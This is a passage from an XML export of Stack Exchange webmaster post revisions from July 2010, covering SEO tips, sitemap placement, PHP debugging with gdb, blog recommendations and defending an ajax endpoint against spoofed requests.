all&#xD;&#xA;   considered different URLS. URL parameters also create duplicates:&#xD;&#xA;   http://example.com?a=1&amp;b=2 and&#xD;&#xA;   http://example.com?b=2&amp;a=1 are both different URLs. Use Apache or&#xD;&#xA;   whatever server you're using to&#xD;&#xA;   manage your redirect rules so this&#xD;&#xA;   doesn't happen. This needs to be a consideration from the beginning and should be solved both programatically and with server redirects.&#xD;&#xA; - **Don't waste time asking for links.** There is no bigger waste of&#xD;&#xA;   time and money, IMO, than emailing&#xD;&#xA;   other websites offering to do link&#xD;&#xA;   exchanges. Think about the time spent&#xD;&#xA;   searching for relevant websites,&#xD;&#xA;   emailing, responding, and&#xD;&#xA;   implementing a link exchange. What's&#xD;&#xA;   your hourly wage? Now think about&#xD;&#xA;   economies of scale and how many times&#xD;&#xA;   you have to do that to make a&#xD;&#xA;   discernible difference for every page&#xD;&#xA;   of your website. There is no way that&#xD;&#xA;   you can possibly come out on top.&#xD;&#xA;   There are easier ways to get links.&#xD;&#xA; - **Make your site sharable.** All those little social media widgets?&#xD;&#xA;   They might be annoying, but when used&#xD;&#xA;   properly, they make it easier for&#xD;&#xA;   your users to share your content. The&#xD;&#xA;   caveat here is proper context.&#xD;&#xA;   Privacy policies, terms of use,&#xD;&#xA;   registration, and other pages of that&#xD;&#xA;   ilk are probably not good candidates&#xD;&#xA;   for a widget.&#xD;&#xA; - **[Viral content][4] works.** But you need to use it wisely. Not every&#xD;&#xA;   announcement on your site is going to&#xD;&#xA;   be or should be viral. It has to make&#xD;&#xA;   sense and it needs to be&#xD;&#xA;   well-thought-out. Ask yourself&#xD;&#xA;   objectively, *why would someone link&#xD;&#xA;   to this?* If you can't think of a&#xD;&#xA;   good answer, you should go back to&#xD;&#xA;   the drawing board. Again, the 4 U's&#xD;&#xA;   help here.&#xD;&#xA; - **Incentivize linking.** A great way to kickstart a viral campaign or even&#xD;&#xA;   a more moderate but steadily growing&#xD;&#xA;   external link profile. Think contests&#xD;&#xA;   and giveaways, but also think&#xD;&#xA;   StackOverflow's badge widgets.&#xD;&#xA; - **Build a community** An audience of loyal readers will link to and share&#xD;&#xA;   your content naturally.&#xD;&#xA;   User-generated content increases your&#xD;&#xA;   website's footprint and also&#xD;&#xA;   incentivizes linking.&#xD;&#xA; - **Remember the big picture.** Why are you doing SEO in the first place?&#xD;&#xA;   What is the purpose of your website?&#xD;&#xA;   It's easy to focus so much SEO that&#xD;&#xA;   you lose sight of what you're trying&#xD;&#xA;   to do. If you're trying to make money&#xD;&#xA;   with your site, don't forget that you&#xD;&#xA;   also need to focus on the usability,&#xD;&#xA;   the design, the copy, the offer, the&#xD;&#xA;   product, the checkout process, etc.&#xD;&#xA;   SEO is only a small part of that.&#xD;&#xA;&#xD;&#xA;If you're interested in more details, I wrote an article on my website about [basic SEO tips][1] which you can reference for more info.&#xD;&#xA;&#xD;&#xA;**Edit**: Incidentally, one of the reasons StackOverflow does so well in the search engines is because it has an enormous community that continually produces keyword-laden pages. It gets a lot of the basic tactical SEO right too, but this is an excellent example of big-picture thinking that most people ignore. SEO is built into the design of the community as an extension of the way the community functions. That wasn't an accident.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtuosimedia.com/articles/seo-in-10-minutes-search-engine-optimization-tips-for-beginners&#xD;&#xA;  [2]: http://www.seomoz.org/article/search-ranking-factors&#xD;&#xA;  [3]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none&#xD;&#xA;  [4]: http://www.virtuosimedia.com/articles/secret-formula-how-to-write-viral-content-for-your-website" />
  <row Id="2971" PostHistoryTypeId="2" PostId="1629" RevisionGUID="da6632dd-7549-410a-b862-ab749e657dc9" CreationDate="2010-07-27T01:52:04.343" UserId="9329" Text="Actually there is one reason that I can think of, as I am in this situation now:&#xD;&#xA;&#xD;&#xA;You open one or more &quot;sister sites&quot; to your main site, and you want users from your main site to be able to login to your partner sites.&#xD;&#xA;&#xD;&#xA;So I won't publicize the fact that we're OpenId much, but internally I'll use OpenId." />
  <row Id="2972" PostHistoryTypeId="2" PostId="1630" RevisionGUID="cc71c407-91f3-4ad3-8167-f270fa47525a" CreationDate="2010-07-27T04:31:26.970" UserId="223" Text="I wrote a Powershell script to automate [compressing and encrypting][1] data on our production servers before uploading it to Amazon S3. It is designed to upload everything from a temporary folder, which in my case contained [MS SQL backup files][2] created by another script. The scripts currently use maximum compression, so if you are concerned about memory usage you might want to dial that down a bit, but my guess is that with a bit of tweaking you could get it to do most of what you want. Our vendors wanted $500 a month for offsite backups, where as this solution costs about $5 a month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codeblog.theg2.net/2010/02/powershell-7-zip-amazon-s3-upload.html&#xD;&#xA;  [2]: http://codeblog.theg2.net/2010/06/powershell-backup-all-databases-locally.html" />
  <row Id="2973" PostHistoryTypeId="5" PostId="1625" RevisionGUID="9385b7c1-0a72-490d-acd0-80193a8e601c" CreationDate="2010-07-27T06:46:56.020" UserId="26" Comment="added links" Text="I'm trying to select an eCommerce solution that will integrate with the accounting program, [AccountEdge][1] (from [MYOB][2]). I also need it to be SEO-friendly and be able to print shipping labels, directly. I will also consider any stable add-ons to any given shopping cart.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.accountedge.com/&#xD;&#xA;  [2]: http://acclivitysoftware.com/about/" />
  <row Id="2974" PostHistoryTypeId="2" PostId="1631" RevisionGUID="204e8a8b-bb79-4c54-bc27-15b439878971" CreationDate="2010-07-27T06:49:45.827" UserId="26" Text="[EnStore WebStore][1] appears to be the officially sanctioned shopping cart.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.accountedge.com/webstore/" />
  <row Id="2975" PostHistoryTypeId="2" PostId="1632" RevisionGUID="e16b17cf-2a5e-47a1-955d-7c787f80ecbf" CreationDate="2010-07-27T07:40:39.783" UserId="480" Text="To debug PHP segfaults you'll normally make a new .php file (so that it does not interfere with your main code) like so (calling it `my_first_debugger.php`):&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    include('annoying_caller_page_that_crashes.php');&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;Then run `gdb php`. *If gdb is not installed or the gdb/php binaries are not in your path there will be errors so use YaST2 to install everything required (get the development/debug libraries for php too as they usually include debugging symbols).*&#xD;&#xA;&#xD;&#xA;You'll get output like:&#xD;&#xA;&#xD;&#xA;    GNU gdb x.x&#xD;&#xA;    Copyright (C) 2008 Free Software Foundation, Inc.&#xD;&#xA;    License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html&#xD;&#xA;    This is free software: you are free to change and redistribute it.&#xD;&#xA;    There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;&#xD;&#xA;    and &quot;show warranty&quot; for details.&#xD;&#xA;    (gdb) &#xD;&#xA;&#xD;&#xA;Then just do a `run my_first_debugger.php` in the command line.&#xD;&#xA;&#xD;&#xA;Look for -dev and -dbg packages if there are messages like `(no debugging symbols found)` or you may not see the name of the function being called." />
  <row Id="2976" PostHistoryTypeId="2" PostId="1633" RevisionGUID="cc34ae92-fcb0-457d-9393-5beb9e98a7bb" CreationDate="2010-07-27T08:06:40.067" UserId="576" Text="[Netcraft has a search by domain name feature][1] that takes into account ~1,340,568 web sites visited by users of the Netcraft Toolbar. It also allows wild-card characters. Searching for &quot;*.ke&quot; returned 115 sites. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://searchdns.netcraft.com/?help=yes" />
  <row Id="2977" PostHistoryTypeId="2" PostId="1634" RevisionGUID="0ba4c088-2176-45d9-b813-138de5a44d5b" CreationDate="2010-07-27T08:56:13.567" UserId="1030" Text="[ThinkVitamin][1] !&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thinkvitamin.com/" />
  <row Id="2978" PostHistoryTypeId="2" PostId="1635" RevisionGUID="c9b6a4ce-46c3-4718-a40b-693294ea0802" CreationDate="2010-07-27T09:10:27.260" UserId="914" Text="If you are a C# developer then I'd highly recommend reading Eric Lippert's blog [Fabulous Adventures In Coding][1]. He's a &quot;*a senior developer on the Microsoft Visual C# compiler team*&quot; and therefore has unprecedented knowledge about the language and programming in general. His incite and experience is always stunning. He's also [active on stackoverflow][2], too, where his answers are always authoritative and often fascinating.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.msdn.com/b/ericlippert/&#xD;&#xA;  [2]: http://stackoverflow.com/users/88656/eric-lippert" />
  <row Id="2979" PostHistoryTypeId="5" PostId="1634" RevisionGUID="42ba3847-c4a1-4baf-b3eb-ea41ddff60e5" CreationDate="2010-07-27T09:24:10.357" UserId="1030" Comment="added 559 characters in body" Text="THINKVITAMIN is one of the best I know. They have boatloads of useful HTML,CSS and Javascript articles. They tend to focus on design, but also have many useful inspiring articles about starting a business, managing your time and so on. They don't add articles too often, but they have nice &quot;roundup&quot; posts with news from around the web.&#xD;&#xA;&#xD;&#xA;A LIST APART adds articles far less often, but at least you have the time to digest them ;)  It's a lot more focused on HTML, CSS and Javascript.&#xD;&#xA;&#xD;&#xA;Steve Souders's blog about HIGHPERFORMANCE WEBSITES.&#xD;&#xA;&#xD;&#xA;JSMAG BLOG feed is quite nice to stay up to date on Javascript news.&#xD;&#xA;" />
  <row Id="2980" PostHistoryTypeId="10" PostId="1622" RevisionGUID="a337299d-e5e0-4c49-b0a5-c9ebca8aecd4" CreationDate="2010-07-27T09:55:15.423" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:26,&quot;DisplayName&quot;:&quot;artlung&quot;},{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:745,&quot;DisplayName&quot;:&quot;VirtuosiMedia&quot;}]" />
  <row Id="2981" PostHistoryTypeId="5" PostId="1622" RevisionGUID="7e9f1dee-6bb0-48ad-af12-48c2cba2bb29" CreationDate="2010-07-27T09:55:15.547" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [I need an alternative to Pligg.com](http://webmasters.stackexchange.com/questions/1540/i-need-an-alternative-to-pligg-com)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;hi,&#xD;&#xA;I am trying to find pligg like cms that I can use to create digg like sites. With pligg, I am not able to do import the links automatically even they have the plug in. I read about that plug in and it looks it can fetch only from selected sites but not sure how good the plug in is. I checked out Drigg from drupal but I dont even the installation steps properly and I am not able to find documenation on doing this. Can anyone please suggest if you know any CMS like pligg that can pull bookmarks from other places?&#xD;&#xA;&#xD;&#xA;regards&#xD;&#xA;" />
  <row Id="2982" PostHistoryTypeId="2" PostId="1636" RevisionGUID="43f247fd-b250-44a5-9c5a-ac30b81512ca" CreationDate="2010-07-27T12:27:04.733" UserId="632" Text="I have a site that uses ajax calls to perform a number of functions.  They have the webbrowser call back to a script - ajax.php.  Though I use post data to transmit the data and limit the commands that the ajax script can call, there is really nothing preventing users from spoofing ajax calls to attempt to manipulate the site.  Is there some blanket way to prevent users from spoofing the calls? Is there a way to ensure that an ajax call does in fact come from my website and not from some other script or site?&#xD;&#xA;&#xD;&#xA;Or do I simply have to check the boundary conditions in the php script and prevent the users from spoofing things they wouldn't be allowed to do, but allow them to spoof where they would be allowed." />
  <row Id="2983" PostHistoryTypeId="1" PostId="1636" RevisionGUID="43f247fd-b250-44a5-9c5a-ac30b81512ca" CreationDate="2010-07-27T12:27:04.733" UserId="632" Text="How can I prevent a power user from calling my ajax functions?" />
  <row Id="2984" PostHistoryTypeId="3" PostId="1636" RevisionGUID="43f247fd-b250-44a5-9c5a-ac30b81512ca" CreationDate="2010-07-27T12:27:04.733" UserId="632" Text="&lt;php&gt;&lt;ajax&gt;&lt;xss&gt;" />
  <row Id="2985" PostHistoryTypeId="2" PostId="1637" RevisionGUID="514114a3-ecee-4de0-9ba9-b296563b508b" CreationDate="2010-07-27T12:35:27.400" UserId="287" Text="So you basically want to limit ajax.php to only responding to AJAX requests?&#xD;&#xA;&#xD;&#xA;I'm no php expert, but it seems like its possible to determine if a given request is coming from AJAX or a &quot;regular&quot; browser request by checking the value of `$_SERVER['HTTP_X_REQUESTED_WITH']`.&#xD;&#xA;&#xD;&#xA;[Source][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://davidwalsh.name/detect-ajax" />
  <row Id="2986" PostHistoryTypeId="2" PostId="1638" RevisionGUID="895d1bff-3e36-4574-b4ac-9dd5417d370d" CreationDate="2010-07-27T12:35:52.530" UserDisplayName="delete" Text="I don't think there is any way to do this reliably, since any information you might send could be spoofed, depending how clever the user is.&#xD;&#xA;&#xD;&#xA;If you just want a simple block of people calling not from your page, then you could check the referrer, use a cookie or add a random hidden field sent by the calling page which expires after a certain time. But these are easy to spoof if the user is really determined. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="2987" PostHistoryTypeId="5" PostId="1603" RevisionGUID="a7f8ce97-6249-4543-97a6-7645e813787a" CreationDate="2010-07-27T13:29:55.330" UserId="55" Comment="Clarification for tags" Text="This is a good example of when to use tags vs categories. There's nothing wrong with having varied content on a blog, or any other kind of web site. You just want to:&#xD;&#xA;&#xD;&#xA; - Ensure people can get to the content that they want, and only what they want via various readers&#xD;&#xA; - Pay attention to the topics that interest people the most and make sure that those people get something new to read fairly frequently&#xD;&#xA;&#xD;&#xA;Try to resist the urge to create more than ten categories. Five would be better. Beyond categories, make good use of tags to organize your posts.&#xD;&#xA;&#xD;&#xA;Lets say that you have five main interests:&#xD;&#xA;&#xD;&#xA; 1. Technology&#xD;&#xA; 2. Gaming&#xD;&#xA; 3. Photography&#xD;&#xA; 4. Hiking&#xD;&#xA; 5. Unicorn breeding&#xD;&#xA;&#xD;&#xA;A list of categories on your blog will then direct people to the topic that might interest them. Lets pick unicorn breeding (a favorite of mine) and say that I read a really good 'rant' that you wrote regarding forged pedigrees. If you tagged that post as a rant, lets say with 'rants', I might also discover that I most enjoy your writing when you are adamant and annoyed.&#xD;&#xA;&#xD;&#xA;This lets me pull two feeds:&#xD;&#xA;&#xD;&#xA; - One from your 'Unicorn breeding' category&#xD;&#xA; - One from your 'rants' tag that will likely put content in front of me that I would not have seen otherwise.&#xD;&#xA;&#xD;&#xA;I **strongly** discourage posting in several languages, unless you are using some sort of plug-in or facility for translations which should allow people to subscribe only to posts available in a certain language. Google recently added new sources to their news mash up, lots of people are complaining that they are now getting French articles in their reader, even though their preferences are set for English.&#xD;&#xA;&#xD;&#xA;Mixed and varied content for a personal site is not a bad thing, its just going to increase ways for people to find you, which hopefully results in quality organic inbound links. Its also nice to know that people actually read and appreciate what you have to say.&#xD;&#xA;&#xD;&#xA;If you were running something like 'Pro Technology Blog', where the title and topic of the site suggested that the content within would be equally specific, it would be a bad idea.&#xD;&#xA;&#xD;&#xA;Just use tags strategically and make sure you pay attention to what gets the most attention. The point is to get long term readers who actively participate in discussions and help promote your blog.  " />
  <row Id="2993" PostHistoryTypeId="2" PostId="1642" RevisionGUID="ad7ff424-f082-4d24-ab13-3a08ae4746ac" CreationDate="2010-07-27T14:09:34.707" UserId="236" Text="If you don't want to buy another domain, your best option would be to set up subdomains instead, as search engines treat them as seperate sites. so cooking.programming.com would be better off than programming.com/cooking" />
  <row Id="2994" PostHistoryTypeId="2" PostId="1643" RevisionGUID="facdd71e-c4ac-4e85-9096-9a84cb52d133" CreationDate="2010-07-27T14:12:07.663" UserId="500" Text="Is there a way to specify the location of generated sitemap files using the lastest version of the [Google Sitemap Generator][1]?&#xD;&#xA;&#xD;&#xA;*Version is: 1.0.0.0? (a very un-google version number, lol):*&#xD;&#xA;&#xD;&#xA;    &gt; sudo /usr/local/google-sitemap-generator/bin/sitemap-daemon -v&#xD;&#xA;    Google Sitemap Generator (Beta) Version [1.0.0.0]&#xD;&#xA;&#xD;&#xA;The dashboard has a option of &quot;*Sitemap file name*&quot; but there is no option to specify the destination directory? It always places the generated sitemap XML files in the document root (which is **no good** for our deployment method).&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/googlesitemapgenerator/" />
  <row Id="2995" PostHistoryTypeId="1" PostId="1643" RevisionGUID="facdd71e-c4ac-4e85-9096-9a84cb52d133" CreationDate="2010-07-27T14:12:07.663" UserId="500" Text="How do I specify the Google sitemap generator destination directory" />
  <row Id="2996" PostHistoryTypeId="3" PostId="1643" RevisionGUID="facdd71e-c4ac-4e85-9096-9a84cb52d133" CreationDate="2010-07-27T14:12:07.663" UserId="500" Text="&lt;seo&gt;&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="2998" PostHistoryTypeId="6" PostId="162" RevisionGUID="78197d69-0ff4-4526-9d2a-d62d48455790" CreationDate="2010-07-27T14:30:47.773" UserId="72" Comment="added a tag" Text="&lt;google&gt;&lt;url-rewriting&gt;&lt;indexing&gt;" />
  <row Id="2999" PostHistoryTypeId="2" PostId="1644" RevisionGUID="bd182322-c4e5-4722-a80b-53f2f3093440" CreationDate="2010-07-27T15:09:21.147" UserId="824" Text="The [official sitemap protocol says][1] it should be located at the root URL that all the files it points to share in common.  So if the URLs in your sitemap are like http://www.example.com/site/image1.jpg and http://www.example.com/site/mypage.html, you could put the sitemap.xml file either in http://www.example.com/site/sitemap.xml or http://www.example.com/sitemap.xml.&#xD;&#xA;&#xD;&#xA;If you are unable to put a sitemap in that directory for whatever reason, you can put it anywhere on your server as long as your .htaccess or ISAPI Rewrite (or any other URL rewriter) can &quot;pretend&quot; that it's at the root.  I've done that successfully using ISAPI Rewrite on an ASP site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#location" />
  <row Id="3001" PostHistoryTypeId="2" PostId="1645" RevisionGUID="c475daaa-482e-4508-927f-7034b6bcc90f" CreationDate="2010-07-27T15:38:58.753" UserId="233" Text="I have not used that tool so I do not know the direct answer to your question. However, if you can't find a way to put the files elsewhere, you can just copy them to a different folder like this:&#xD;&#xA;&#xD;&#xA;    cp -t sitemaps/ *.xml&#xD;&#xA;&#xD;&#xA;Where `sitemaps` is the folder name and `*.xml` selects all the input files, assuming they have a `.xml` extension. You can create a batch script that runs the sitemap generator and then copies the files, all in one.&#xD;&#xA;&#xD;&#xA;Although the official protocol says sitemaps should be in the root, in reality they can go anywhere on the same domain (I have put them in their own sitemaps folder before, with no problems).&#xD;&#xA;&#xD;&#xA;You should also create a [sitemap index file][1] if you have a lot of sitemaps. This way you only need to submit the index file to each webmaster tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#index" />
  <row Id="3002" PostHistoryTypeId="2" PostId="1646" RevisionGUID="aeba92ff-a471-484c-945b-c96735074b8a" CreationDate="2010-07-27T15:47:48.520" UserId="233" Text="In short, no. Any request made to a URL through GET or POST can be made by anyone using any software. This is exactly the reason why you should always validate submitted data on the server, whether or not you do any Javascript validation.&#xD;&#xA;&#xD;&#xA;It's not clear exactly what the server-side script is doing and what might go wrong, but if users are able to &quot;manipulate the site&quot; by calling your script with bad data then You Are Doing It Wrong." />
  <row Id="3003" PostHistoryTypeId="5" PostId="1646" RevisionGUID="0bca6d85-96c4-4ca8-9186-bf4a425c4e9c" CreationDate="2010-07-27T15:52:52.823" UserId="233" Comment="added 249 characters in body" Text="In short, no. Any request made to a URL through GET or POST can be made by anyone using any software. Actually, an AJAX request is really no different from loading the URL directly, except with the latter the returned data is displayed in the browser like a web page.&#xD;&#xA;&#xD;&#xA;This is exactly the reason why you should always validate submitted data on the server, whether or not you do any Javascript validation.&#xD;&#xA;&#xD;&#xA;It's not clear exactly what the server-side script is doing and what might go wrong, but if users are able to &quot;manipulate the site&quot; by calling your script with bad data then You Are Doing It Wrong.&#xD;&#xA;&#xD;&#xA;Probably the best solution will be to introduce some form of authentication." />
  <row Id="3004" PostHistoryTypeId="2" PostId="1647" RevisionGUID="a6a245bc-3a53-4b73-8132-1d4d64d929b2" CreationDate="2010-07-27T16:01:59.777" UserId="1064" Text="I believe this solution matches your requirements more exactly:&#xD;&#xA;&#xD;&#xA;Create an M3U playlist file which points to the MP3's URL, upload the M3U to your server, and then create a link to the M3U file on your page.&#xD;&#xA;&#xD;&#xA;When the visitor clicks the link to the M3U file the (tiny) M3U file will be downloaded and he or she will have the option to open it in the media player of his or her choice (i.e. whatever's already installed on the machine - no need for Flash whatsoever).&#xD;&#xA;&#xD;&#xA;Once opened, the MP3 will begin streaming." />
  <row Id="3005" PostHistoryTypeId="5" PostId="182" RevisionGUID="57c45405-7db8-49eb-9ac5-0893d056a114" CreationDate="2010-07-27T16:34:08.780" UserId="15" Comment="added 138 characters in body; edited tags" Text="Who are some of the big names out there (besides [Jeff Atwood][1]/[@codinghorror][2], of course) that I should be following as a resource if I want to stay on top of what's new as well commentary on what exists?&#xD;&#xA;&#xD;&#xA;Twitter accounts:&#xD;&#xA;&#xD;&#xA; - [@codinghorror][2]&#xD;&#xA; - [@smashingmag][3]&#xD;&#xA;&#xD;&#xA;Blogs:&#xD;&#xA;&#xD;&#xA; - [Jeff Atwood][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://codinghorror.com&#xD;&#xA;  [2]: http://twitter.com/codinghorror&#xD;&#xA;  [3]: http://twitter.com/smashingmag" />
  <row Id="3006" PostHistoryTypeId="6" PostId="182" RevisionGUID="57c45405-7db8-49eb-9ac5-0893d056a114" CreationDate="2010-07-27T16:34:08.780" UserId="15" Comment="added 138 characters in body; edited tags" Text="&lt;blog&gt;&lt;twitter&gt;&lt;learning&gt;&lt;resources&gt;&lt;rss&gt;" />
  <row Id="3007" PostHistoryTypeId="2" PostId="1648" RevisionGUID="3de2524c-54b2-4df1-bd00-14c7a818cda2" CreationDate="2010-07-27T16:46:41.077" UserId="26" Text="I think a major chunk of your solution will be [rate limiting][1] traffic from a specific user fingerprint. Maybe a hash of IP address, User Agent string and the data being sent.&#xD;&#xA;&#xD;&#xA;Also, binding the page that calls the ajax to the ajax returned data closer can be of help. So on the page in question, at page load send down a session key that is good for `X` sessions, for each ajax request your JavaScript will need to pass that key back or the ajax will return a failure. Once your page hits `X+1` ajax calls, force the user to do some action (maybe captcha? maybe even something like a `mousemove` or `tap` event depending on the UA) before sending a new session key down the wire (out of band from the original ajax) then restart the process.&#xD;&#xA;&#xD;&#xA;Though as I think about it, it's possible that maybe part of your problem is lax validation of the parameters sent. If people can just play with the parameters sent and get back valid data then make that harder to do. How to do that depends on what kind of values are being sent by the client, and what kind of mischief a bad actor can make by sending bad values.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Rate_limiting" />
  <row Id="3008" PostHistoryTypeId="5" PostId="182" RevisionGUID="95eaf449-2c90-4cef-891e-b8cf36200617" CreationDate="2010-07-27T16:50:55.050" UserId="15" Comment="added 1129 characters in body; edited title" Text="Who are some of the big names out there (besides [Jeff Atwood][1]/[@codinghorror][2], of course) that I should be following as a resource if I want to stay on top of what's new as well commentary on what exists?&#xD;&#xA;&#xD;&#xA;Twitter accounts:&#xD;&#xA;&#xD;&#xA; - [@codinghorror][3]&#xD;&#xA; - [@smashingmag][4]&#xD;&#xA; - [@shanselman][5]&#xD;&#xA; - [@scottgu][6]&#xD;&#xA; - [@haacked][7]&#xD;&#xA; - [@jquery][8]&#xD;&#xA; - [@jeresig][9]&#xD;&#xA; - [@slicknet][10]&#xD;&#xA; - [@paul_irish][11]&#xD;&#xA; - [@trentwalton][12]&#xD;&#xA; - [@sarajchipps][13]&#xD;&#xA;&#xD;&#xA;Blogs:&#xD;&#xA;&#xD;&#xA; - [Jeff Atwood][14]&#xD;&#xA; - [A List Apart][15]&#xD;&#xA; - [Fabulous Adventures in Coding][16]&#xD;&#xA; - [StackOverflow Blog][17]&#xD;&#xA; - [FriendlyBit][18]&#xD;&#xA; - [Fiftyfoureleven][19]&#xD;&#xA; - [Paul Irish][20]&#xD;&#xA;&#xD;&#xA;Feeds:&#xD;&#xA;&#xD;&#xA; - [Reddit Programming Feed][21]&#xD;&#xA; - [Y Combinator][22]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codinghorror.com&#xD;&#xA;  [2]: http://twitter.com/codinghorror&#xD;&#xA;  [3]: http://twitter.com/codinghorror&#xD;&#xA;  [4]: http://twitter.com/smashingmag&#xD;&#xA;  [5]: http://twitter.com/shanselman&#xD;&#xA;  [6]: http://twitter.com/scottgu&#xD;&#xA;  [7]: http://twitter.com/haacked&#xD;&#xA;  [8]: http://twitter.com/jquery&#xD;&#xA;  [9]: http://twitter.com/jeresig&#xD;&#xA;  [10]: http://twitter.com/slicknet&#xD;&#xA;  [11]: http://twitter.com/paul_irish&#xD;&#xA;  [12]: http://twitter.com/trentwalton&#xD;&#xA;  [13]: http://twitter.com/sarajchipps&#xD;&#xA;  [14]: http://codinghorror.com&#xD;&#xA;  [15]: http://www.alistapart.com&#xD;&#xA;  [16]: http://blogs.msdn.com/b/ericlippert/&#xD;&#xA;  [17]: http://blog.stackoverflow.com/&#xD;&#xA;  [18]: http://friendlybit.com/&#xD;&#xA;  [19]: http://www.fiftyfoureleven.com/&#xD;&#xA;  [20]: http://paulirish.com/&#xD;&#xA;  [21]: http://www.reddit.com/r/programming/&#xD;&#xA;  [22]: http://news.ycombinator.com/" />
  <row Id="3009" PostHistoryTypeId="4" PostId="182" RevisionGUID="95eaf449-2c90-4cef-891e-b8cf36200617" CreationDate="2010-07-27T16:50:55.050" UserId="15" Comment="added 1129 characters in body; edited title" Text="What are some good feeds/blogs/twitter accounts to follow if I want to learn more about web development?" />
  <row Id="3010" PostHistoryTypeId="16" PostId="182" RevisionGUID="95eaf449-2c90-4cef-891e-b8cf36200617" CreationDate="2010-07-27T16:51:18.090" UserId="15" />
  <row Id="3011" PostHistoryTypeId="5" PostId="182" RevisionGUID="d14886ef-ca24-44c4-9c87-f5ee640399a6" CreationDate="2010-07-27T17:36:49.407" UserId="55" Comment="added 2 characters in body" Text="Who are some of the big names out there (besides [Jeff Atwood][1]/[@codinghorror][2], of course) that I should be following as a resource if I want to stay on top of what's new as well commentary on what exists?&#xD;&#xA;&#xD;&#xA;Twitter accounts:&#xD;&#xA;&#xD;&#xA; - [@codinghorror][3]&#xD;&#xA; - [@smashingmag][4]&#xD;&#xA; - [@shanselman][5]&#xD;&#xA; - [@scottgu][6]&#xD;&#xA; - [@haacked][7]&#xD;&#xA; - [@jquery][8]&#xD;&#xA; - [@jeresig][9]&#xD;&#xA; - [@slicknet][10]&#xD;&#xA; - [@paul_irish][11]&#xD;&#xA; - [@trentwalton][12]&#xD;&#xA; - [@sarajchipps][13]&#xD;&#xA;&#xD;&#xA;Blogs:&#xD;&#xA;&#xD;&#xA; - [Coding Horror][14]&#xD;&#xA; - [A List Apart][15]&#xD;&#xA; - [Fabulous Adventures in Coding][16]&#xD;&#xA; - [StackOverflow Blog][17]&#xD;&#xA; - [FriendlyBit][18]&#xD;&#xA; - [Fiftyfoureleven][19]&#xD;&#xA; - [Paul Irish][20]&#xD;&#xA;&#xD;&#xA;Feeds:&#xD;&#xA;&#xD;&#xA; - [Reddit Programming Feed][21]&#xD;&#xA; - [Y Combinator][22]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codinghorror.com&#xD;&#xA;  [2]: http://twitter.com/codinghorror&#xD;&#xA;  [3]: http://twitter.com/codinghorror&#xD;&#xA;  [4]: http://twitter.com/smashingmag&#xD;&#xA;  [5]: http://twitter.com/shanselman&#xD;&#xA;  [6]: http://twitter.com/scottgu&#xD;&#xA;  [7]: http://twitter.com/haacked&#xD;&#xA;  [8]: http://twitter.com/jquery&#xD;&#xA;  [9]: http://twitter.com/jeresig&#xD;&#xA;  [10]: http://twitter.com/slicknet&#xD;&#xA;  [11]: http://twitter.com/paul_irish&#xD;&#xA;  [12]: http://twitter.com/trentwalton&#xD;&#xA;  [13]: http://twitter.com/sarajchipps&#xD;&#xA;  [14]: http://codinghorror.com&#xD;&#xA;  [15]: http://www.alistapart.com&#xD;&#xA;  [16]: http://blogs.msdn.com/b/ericlippert/&#xD;&#xA;  [17]: http://blog.stackoverflow.com/&#xD;&#xA;  [18]: http://friendlybit.com/&#xD;&#xA;  [19]: http://www.fiftyfoureleven.com/&#xD;&#xA;  [20]: http://paulirish.com/&#xD;&#xA;  [21]: http://www.reddit.com/r/programming/&#xD;&#xA;  [22]: http://news.ycombinator.com/" />
  <row Id="3012" PostHistoryTypeId="2" PostId="1649" RevisionGUID="6bac5117-8250-4d2a-ad47-2a79cb0fb7c2" CreationDate="2010-07-27T19:21:24.530" UserId="313" Text="Savvy folks like yourselves are probably comfortable knowing they can click the logo and usually end up back on the home page of a site.  However, not everyone knows this.  What are some reasons for and against an explicit &quot;home&quot; link?" />
  <row Id="3013" PostHistoryTypeId="1" PostId="1649" RevisionGUID="6bac5117-8250-4d2a-ad47-2a79cb0fb7c2" CreationDate="2010-07-27T19:21:24.530" UserId="313" Text="Considerations for adding an explicit &quot;home&quot; link to navigation." />
  <row Id="3014" PostHistoryTypeId="3" PostId="1649" RevisionGUID="6bac5117-8250-4d2a-ad47-2a79cb0fb7c2" CreationDate="2010-07-27T19:21:24.530" UserId="313" Text="&lt;navigation&gt;" />
